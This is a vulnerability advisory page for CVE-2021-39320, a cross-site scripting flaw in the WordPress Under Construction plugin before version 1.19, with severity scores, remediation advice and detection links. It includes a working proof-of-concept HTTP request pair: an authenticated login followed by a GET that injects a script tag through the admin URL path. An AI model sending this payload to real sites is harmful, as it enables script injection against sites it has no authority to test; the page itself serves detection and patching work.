🔙 목록으로 돌아가기

CVE-2021-39320: WordPress Under Construction <1.19 - Cross-Site Scripting

TitleWordPress Under Construction <1.19 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactThe vulnerability allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
RemediationUpdate to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.19664
CVE IDCVE-2021-39320
CWE IDCWE-79
Tags cve2021 cve wp-plugin wpscan wordpress wp xss authenticated underconstruction_project vuln

🔍 Vulnerability Description

WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of $GLOBALS['PHP_SELF'] in the ucOptions.php file on certain configurations, including Apache+modPHP.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=RsAFHJ&pwd=elge8Y&wp-submit=Log+In
GET /wp-admin/admin.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/?page=under-construction HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39320.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39320.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A